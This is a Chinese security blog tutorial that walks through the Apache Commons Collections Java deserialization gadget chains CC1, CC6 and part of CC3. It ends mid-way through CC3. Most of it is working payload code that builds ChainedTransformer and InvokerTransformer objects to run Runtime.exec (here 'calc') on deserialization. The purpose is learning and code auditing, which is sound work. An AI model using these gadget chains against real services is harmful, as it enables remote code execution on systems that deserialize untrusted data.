freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JAVA反序列化—CC链的前世今生
2023-09-12 22:03:25

前言

JAVA安全初级入门者,学习一下CC链加强代码审计能力。

开始之前,先简单引入一些概念知识。

什么是CommonsCollections,这里引用一段话进行解释

Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。

Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。

环境搭建

这里的CC1链,使用的JDK环境为JDK8u65,JDK下载链接如下

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

可以放入虚拟机而后拷贝到宿主机进行使用,拷贝的具体路径为C:\Program Files\Java\jdk1.8.0_65,而后在IDEA中,新建项目时选择对应JDK版本即可

image-20230714035843996

建立好项目后,我们会发现一些代码,例如在sun包下的代码是.class文件,它的代码是直接反编译出来的,这种不可用来寻找调用同名函数,而且代码难以读懂,因此我们需要提前对其进行配置,我们需要下载其对应java文件至JDK中,具体方法如下

首先下载有漏洞的版本,链接如下

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

而后点击左侧的zip即可下载压缩包

image-20230714040241920

下载完成后,我们回到之前下载中的JDK8U65文件夹中

image-20230714040343270

这里的src.zip为压缩包,我们将其解压在此文件夹下,而后,我们去刚刚下载的zip文件中找到sun包,具体路径为jdk-af660750b2f4\\jdk-af660750b2f4\\src\\share\\classes,而后将其解压到在这个src目录下

image-20230714040453308

接下来在IDEA中选择Project Structure

image-20230714040516089

选择SDKs,并在Sourcepath下添加src

image-20230714040552863

此时就大功告成了,可以开始分析CC链了。

CC1

这里CC1链中的漏洞点是InvolveTransformTransform方法,跟进查看

image-20230714002223741

这里可以发现当输入不为空时,就会调用反射获取输入参数的类,而后获取根据两个参数获取此类的某个方法,我们跟进这两个参数

image-20230713011509826

这里可以发现是InvokerTransformer方法内的两个参数,然后继续看上一个方法

,这里是method.invoke(input, iArgs);,也就是说可以直接执行了输入的方法,并将InvokerTransformer的参数值赋值到了这里。

显而易见,这是一个完整的反射流程,我们可以尝试触发命令执行。

正常执行命令的操作如下

Runtime.getRuntime().exec("calc");

调用反射时如下

Runtime r = Runtime.getRuntime();
        Class c = Runtime.class;
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");

这里简单改写下,改写为该类触发的形式

首先看一下,InvokerTransformer调用的第一个参数是String类的方法名,我们这里的方法名,自然是exec,因此第一个参数就有了,如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec");

接下来看第二个参数,第二个参数的类型是Class数组类型的参数类型,我们这里的exec是字符串,所以就是String,所以第二个参数也有了,如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",Class[]{String.class});

接下来看第三个参数,第三个参数的类型是Object数组类型的参数值,我们这里要执行的命令是calc,所以就直接写calc就可以啦,因此三个参数就构造好了,具体如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});

这时三个参数构造好了,我们想要触发反射,还需要调用它的transform方法,这个方法需要一个参数来获取它的类,具体语句是这个

Class cls = input.getClass();

我们这里,根据正常反射情况下,可以看出调用的类是Runtime类,所以这里需要的就是Runtime类,根据反射获取类的话,有一种方法是已知类中的某个静态变量或其他,通过x.getClass()可以获取类,我们这里的话跟进Runtime类看一下

image-20230714010712478

可以发现getRuntime是公共静态方法,这也是我们前文中讲正常反射为什么要用它来获取类的原因,因此我们这里的话也仍旧用这个来获取Runtime类,因此这里input的内容就是Runtime.getRuntime(),所以这里构造语句如下

transform(Runtime.getRuntime())

将这两个语句进行合并

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());

image-20230714010948047

可以发现此时是可以成功执行命令的,因此接下来接着往上找,我们要找一个方法调用这个transform方法的,最好是不重名的,因为我们最后的话可以走到ReadObject方法的,这样才能实现命令执行。

这里该怎么去寻找调用transform方法的呢,很简单,只需要我们选中这个方法,然后点击右键,选择Find Usages

image-20230714011251022

此时即可在下方发现调用transform方法的函数

image-20230714011417700

这里我们注意到TransformMap类,跟进查看一下相关代码,而后发现代码如下

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

这里发现调用了transform,如果可以控制valueTransformer,就可以实现刚刚的命令执行,因此我们看这个valueTransformer是从哪里来的,跟进查看

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

TransformedMap构造方法为protected方法,因此提供了一个静态方法decorate来调用它的构造方法,decorate接收的参数为一个Map和两个Transformer,并对两个Transformer参数进行修饰。

此时我们就找到了控制了valueTransformer的方法,现在只需要两步,即可实现刚刚的命令执行

1、将valueTransformer改写为new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
2、将transform内的参数改写为Runtime.getRuntime()

首先来看第一步,第一步的实现的话,我们只需要向decorate内传入一个Map,控制第三个参数为new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})即可,因此我们这里构造语句如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
         HashMap map = new HashMap();
         TransformedMap.decorate(map,null,invokerTransformer);

此时第一步就实现完成了,然后来到第二步,我们该如何控制value的值为Runtime.getRuntime()呢,这个checkSetValueprotected方法,我们是无法直接调用的,因此我们这里查看其他方法谁调用了这个方法,进而实现控制此值,选中checkSetValue,右键点击Find Usages,查看哪里调用了此方法,而后来到了AbstractInputCheckedMapDecoratorMapEntry类,查看它的setValue方法

image-20230714014519504

并且这里注意到TransformedMap类是AbstractInputCheckedMapDecorator的继承类

image-20230714015141453

该类的具体方法如下

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

这里不难发现我们可以通过控制setValue的方法就可以实现控制checkValue,因此我们这里需要一个entry来调用它的setValue方法,所以这里遍历一个Map,获取它的entry,具体如下

map.put("key","value");
for (Map.Entry entry:transformedMap.entrySet())
       {
               entry.setValue(Runtime.getRuntime());
       }

此时结合上一个语句,简单改写一下,最终编写整体语句如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map = new HashMap();
        Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
        map.put("key","value");//随便给map存一对值 否则遍历时map为空 拿不到entry
        for (Map.Entry entry:transformedMap.entrySet())
        {
            entry.setValue(Runtime.getRuntime());
        }

image-20230714022639063

此时成功执行命令,接下来继续往下走,因为我们的最终目标是找到ReadObject方法,此时发现有一个类调用了readObject方法,跟进

image-20230714022906783

这里发现它正好有entry的遍历功能,所以我们现在就可以通过这个直接拿entry了。

image-20230714023052675

部分代码如下

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

这个方法并不是public方法,所以我们想调用它这个类,需要通过包名来进行调用

Class AnnotationInvocationHandler = Class.forname(sun.reflect.annotation.AnnotationInvocationHandler)

而后我们可以发现这里的构造参数也不是public的,因此也需要通过反射来进行获取,使用的方法是getConstructor,具体如下

Constructor AnnotartionConstructer = AnnotationInvocationHandler.getConstructor(Class.class,Map.class);

接下来我们还需要用setAccessible给它设置特权模式,有了这个才能执行非public方法,语句如下

annotationInvocationHandlerconstructor.setAccessible(true); 

接下来就可以实例化对象了,但这里要如何赋值呢,我们看源代码可以发现第一个参数为Class<? extends Annotation> type,这个其实是注解的意思,我们平常写的Override就是其中一种,这里暂时写他,第二个是Map,我们用前文写好的即可,代码如下

Object o = AnnotartionConstructer.newInstance(Override.class,transformedMap);

此时和前文语句相组合,得到代码如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map = new HashMap();
        Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
        map.put("key","value");
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotartionConstructer = AnnotationInvocationHandler.getConstructor(Class.class,Map.class);
        AnnotartionConstructer.setAccessible(true);
        Object o = AnnotartionConstructer.newInstance(Override.class,transformedMap);
        Serialize(o);
        unserialize("ser.bin");

三个Bug

但此时出现了三个问题

1、Runtime.getRuntime()这个是我们通过Runtime对象实现的,但Runtime对象没有继承Serializable
2、if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
在执行SetValue方法前,还有两个if语句,该如何进行绕过。
3、memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
这里传入的参数应该是Runtime.getRuntime(),但这个方法内的参数值我们不确定能不能控制

首先来看第一个问题,虽然Runtime对象没有继承Serializable,但是它的Class类,即Runtime.class是可以进行序列化的,因此我们这里用它来代替Runtime,然后用反射调用execgetRuntime方法,再用invoke执行即可,具体代码如下

Class c = Runtime.class;
        Method getRuntime = c.getMethod("getRuntime");
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(getRuntime.invoke(null,null),"calc");

第一个问题此时已经解决一半,接下来我们用一开始调用的方式,即用InvokerTransformer来调用这里的getRuntime方法,代码如下

Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

此时已经成功获取了getRuntime方法,接下来调用invoke方法执行此方法。

Runtime currentRuntime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(getRuntime);

此时再写一个反弹计算器的代码即可实现命令执行,此时我们发现这个调用链是一个首尾相连的结构,即下一个调用的是上一个的transform

Method getRuntime =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,String.class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime currentRuntime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);

我们在调用transform中发现这样一个名为ChainedTransformer方法,其部分代码如下

image-20230714032023026

可以看出这个transform正好是调用上一个的值传给下一个,因此我们可以用这个来实现将三个联合在一起,具体代码如下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        });
        chainedTransformer.transform(Runtime.class);

此时第一个问题就解决了。

接下来看第二个问题,这里的两个if语句,首先看第一个if语句

String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);            
if (memberType != null) {  // i.e. member still exists

它这个是判断memberType是否为空,这个memberType是构造函数中传入的annotation的成员变量,name是从我们遍历的Map中获取的Key,因此要绕过这个if,我们必须使得注解中的成员变量与map中的key值相同,我们之前赋的注解是Override,跟进看下

image-20230714033408391

可以发现它内部是没有成员变量的,那么这个if肯定是无法绕过的,因此我们这里修改注解为Retention,它的下面有一个变量为Value

image-20230714033516149

接下来,我们再修改Map中的Key值为value,具体代码如下

map.put("value","bbb");
        Object o = AnnotartionConstructer.newInstance(Retention.class,transformedMap);

此时第一层if就成功绕过了,接下来看第二层if

Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }

memberType是一个Annotation,而Value是一个bbb,所以这里直接返回false,第二层if通过

此时第二个问题解决。

接下来看第三个问题

现在的setValue传入的并非我们想要的,此时我们需要另一个transformerConstantTransformer类,其代码如下

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
        return iConstant;
    }

可以发现它的transform不论接收什么,都会返回一个固定值。

所以最终payload修改为

public class Main {
    public static void main(String[] args) throws Exception{
//        Class c = Runtime.class;
//        Method getRuntime = c.getMethod("getRuntime");
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(getRuntime.invoke(null,null),"calc");
//        Method getRuntime =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,String.class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime currentRuntime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(getRuntime);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        });
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map = new HashMap();
        Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,chainedTransformer);
        map.put("value","bbb");
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotartionConstructer = AnnotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        AnnotartionConstructer.setAccessible(true);
        Object o = AnnotartionConstructer.newInstance(Target.class,transformedMap);
        Serialize(o);
        unserialize("ser.bin");
//        for (Map.Entry entry:transformedMap.entrySet())
//        {
//            entry.setValue(Runtime.getRuntime());
//        }
//         invokerTransformer.transform(Runtime.getRuntime());
//        Runtime.getRuntime().exec("calc");
//        Runtime.getRuntime().exec("calc");
//        Runtime r = Runtime.getRuntime();
//        Method getMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

//        Transformer[] transformers =new Transformer[]{
//                new ConstantTransformer(Runtime.class),
//                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
//                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
//                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
//        };


//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
//            Class c = Runtime.class;
//            Method getRUntimeMethod = c.getMethod("getRuntime",null);
//            Runtime r = (Runtime) getRUntimeMethod.invoke(null,null);
//            Method execMethod = c.getMethod("exec", String.class);
//            execMethod.invoke(r,"calc");


    }

    public static void Serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = ois.readObject();
        return obj;
    }
}

image-20230714035408925

CC1 链2

上一条链是用的TransfomedMap中的checkSetValue()方法,这里我们还是有另一个方法可选的,即LazyMap中的get方法

image-20230901093447448

具体代码如下

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

这里存在语句Object value = factory.transform(key);,如果我们可以控制factoryChainedTransformer,就可以实现命令执行,因此我们看factory的赋值语句

protected LazyMap(Map map, Factory factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = FactoryTransformer.getInstance(factory);
    }

可以发现这里是在调用LazyMap时给factory赋了值,接下来我们看哪里调用了get方法,最终确定到了AnnotationInvocationHandler.invoke这里

public Object invoke(Object proxy, Method method, Object[] args) {
        //仅部分代码
        String member = method.getName();
        // Handle annotation member accessors
        Object result = memberValues.get(member);
    }

这个memeberValues是什么呢,在该类中搜索一下,即可发现

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

它是传入的Map,这里的AnnotationInvocationHandler是一个动态代理调用处理类,当AnnotationInvocationHandler的任意方法被调用时就会自动调用invoke方法,接下来来到了它自身的ReadObject方法,这里是一个比较有趣的点,自身触发自身,此时即完成了整个链,具体如下

image-20230901102823893

接下来我们来具体构造Payload,首先是invoke,它这里是有两个判断语句在的

if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

要实现后面的get方法,我们需要保证这两个if语句不能执行,因此我们这里首先不能让方法名是equals,然后需要它是无参方法才可以,这里看到readObject中恰好调用了memeberValuesentryset()方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

整体思路如下

我们需要两个AnnotationInvocationHandler,第一个AnnotationInvocationHandler中的memberValues的值为Proxy,即代理第二个AnnotationInvocationHandler的动态代理,通过这样调用Proxy.entrySet()来触发它的invoke方法,Proxy中AnnotationInvocationHandler,即第二个代理的值为LazyMap,在Proxy的invoke方法中调用了LazyMap.get()方法,触发ChainedTransformer.transform,之后便是InvokeTransformer.transform

接下来理解了思路,来具体写一下Payload,前半部分是一样的,ChainedTransformertransform链依次调用,所以这里直接借助前面的

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        });

接下来看LazyMap

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

我们这里写出对应的Payload

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        HashMap hashmap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);

接下来写对应的动态代理

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        HashMap hashmap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);

        Class AIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AIHC = AIH.getDeclaredConstructor(Class.class, Map.class);
        AIHC.setAccessible(true);
        InvocationHandler AIHCIH = (InvocationHandler) AIHC.newInstance(Override.class, lazymap);

        Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},AIHCIH);
        Object o = AIHC.newInstance(Override.class,mapproxy);
        serialize(o);
        unserialize("ser.bin");
    }

image-20230901110956041

CC1的两条链,至此完结。

image-20230901111550661

CC6

在jdku871中对CC1进行了主要修复,具体如下(引用于炸酱面师傅)

针对checkSetValue链中,readObject中整个移除了对checkSetValue的操作,针对LazyMap链则将memberValues设置为了客户端不可控,而是通过一个Filed类来进行读取。

接下来我们对CC6进行分析,从ysoserial中看它的gadgetchain

image-20230901112221319

不难发现直到LazyMap.get(),后半部分都是相同的,再往上看到了HashMaphash()方法,这里与URLDNS链是相像的,在向HashMapput一个键值对后,它的readObject方法就会对Map进行遍历,进而调用每个key的hash,在进行hash时就会对key进行hashcode处理,此时调用TiedMapEntryhashCode方法,它的hashCode方法调用了getValue()getValue调用了get(),此时整个流程结束。

接下来构造Payload,首先看下TideMapEntry的构造

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

它的第一个参数是接收Map,第二个是key,因此我们这里把LazyMap放入map中即可,构造语句如下

public static void main(String[] args) throws Exception{
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        HashMap hashmap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
        HashMap<Object,Object> map = new HashMap<>();
        map.put(tiedMapEntry,"123");
    }

但此时会直接触发命令执行,和URLDNS一样,我们在put时就已经触发了putval函数然后调用了hash及后续一系列函数,所以我们这里需要首先给个错误的值,在put后用反射修改回来,这里修改decorate的第二个参数即可,修改如下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        HashMap hashmap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
        HashMap<Object,Object> map = new HashMap<>();

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);
        lazymap.remove("123");
        serialize(map);

        unserialize("ser.bin");
    }

但此时发现还是无法弹出计算器,调试一下发现

image-20230901123114831

lazyMap中赋值的123在这里影响了if判断,没有进入语句中,因此我们这里需要删除123,最终payload如下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        HashMap hashmap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
        HashMap<Object,Object> map = new HashMap<>();
        map.put(tiedMapEntry,"123");

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);
        lazymap.remove("123");
        serialize(map);

        unserialize("ser.bin");
    }

image-20230901123425176

CC3

不同于CC1与CC6,CC3采用的是动态类加载,即加载恶意代码进行攻击的,而非调用命令执行,具体过程如下。

这里注意到ClassLoader中的defineClass最终实现了类的动态加载,这里有多个defineClass,我们找一个在其他地方被调用的(这样方便我们利用),最终确定在此defineClass

protected final Class<?> defineClass(String name, byte[] b, int off, int len)
    throws ClassFormatError

它被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax下的TemplatesImpl.TransletClassLoader

image-20230901151435699

可以发现这里也是一个defineClass,看一下它在哪里被调用了

image-20230901151710390

同类下的defineTransletClasses()方法调用了此方法,此时看哪里调用了defineTransletClasses,这里出现了三个方法

image-20230901151908998

第一个返回了_class,具体代码如下

private synchronized Class[] getTransletClasses() {
        try {
            if (_class == null) defineTransletClasses();
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
        return _class;
    }

第二个返回了_class的下标,具体代码如下

public synchronized int getTransletIndex() {
        try {
            if (_class == null) defineTransletClasses();
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
        return _transletIndex;
    }

第三个是我们要关注的重点,其代码如下

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }

发现这里对_class[_transletIndex]进行了newInstance()操作,如果我们可以控制这个_class[_transletIndex]为恶意类,然后让它进行实例化,此时就可以触发恶意类中的恶意代码,但这个是private方法,所以我们继续寻找谁调用了它,这里跟进到了同类下的newTransformer方法

image-20230901154954437

重点语句是这个

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

这里调用了getTransletInstance()方法,同时我们注意到这个是public方法,因此整个流程到这里就可以完结了。简单梳理一下调用链

image-20230901160130306

接下来写一下Payload

TemplatesImpl templates = new TemplatesImpl();
        templates.newTransformer();

接下来对其进行赋值操作,newTransformer是无参函数,且内部没什么条件语句,所以不需要进行赋值,接下来看getTransletInstance,它这里是有两个if语句在的

if (_name == null) return null;

            if (_class == null) defineTransletClasses();

所以我们要想往下调用,这里必须使得_name不为空,且_class为空,这里待会进行赋值,接下来继续跟进defineTransletClasses()方法,这里注意到在走到动态加载_class前,返回值中有一个_tfactory.getExternalExtensionsMap(),如果我们不对_tfactory进行赋值,那么它就会爆出空指针异常引发报错,因此我们这里需要进行赋值,同时我们注意到

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);

这里的_class的值是由_bytecodes控制的。至此,我们一共需要修改3个变量

1、private String _name = null;
2、private byte[][] _bytecodes = null;
3、private transient TransformerFactoryImpl _tfactory = null;

三个变量均为private变量,所以需要setAccessible来修改权限,先修改第一个,第一个直接调用反射修改即可

//调用反射修改_name的值
        Class cls = templates.getClass();
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qwq");

第一个此时就修改完了,接下来看第二个

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
    
Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }

这里发现我们的_bytecodes是一个二维数组,而接收时要的却是一个一维数组,因此我们可以将一个一维数组放进_bytecodes这个二维数组中,这样在for循环遍历时,可以将一维数组遍历出来并赋值给defineClass,具体代码如下

//调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

